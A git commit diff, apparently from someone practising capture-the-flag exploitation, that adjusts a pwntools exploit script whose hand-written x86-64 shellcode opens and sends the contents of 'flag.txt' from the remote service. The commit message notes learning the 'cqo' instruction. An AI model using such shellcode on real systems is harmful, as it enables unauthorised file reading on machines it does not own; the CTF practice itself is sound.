learnt about the cqo instruction that sign-extends rax into rdx

This commit is contained in:
jc
2024-10-23 14:14:56 +00:00
parent c9a6e41075
commit 8ba0d691c2
+3 -3
View File
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)
# openat + sendfile # openat + sendfile
shellcode=""" shellcode="""
lea rsi, [rdx+38] lea rsi, [rdx+37]
mov edi, -100 mov edi, -100
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -43,4 +43,4 @@ shellcode = asm(shellcode)
shellcode += b"flag.txt\0" shellcode += b"flag.txt\0"
r.sendlineafter(b": ", shellcode) r.sendlineafter(b": ", shellcode)
r.interactive() r.interactive()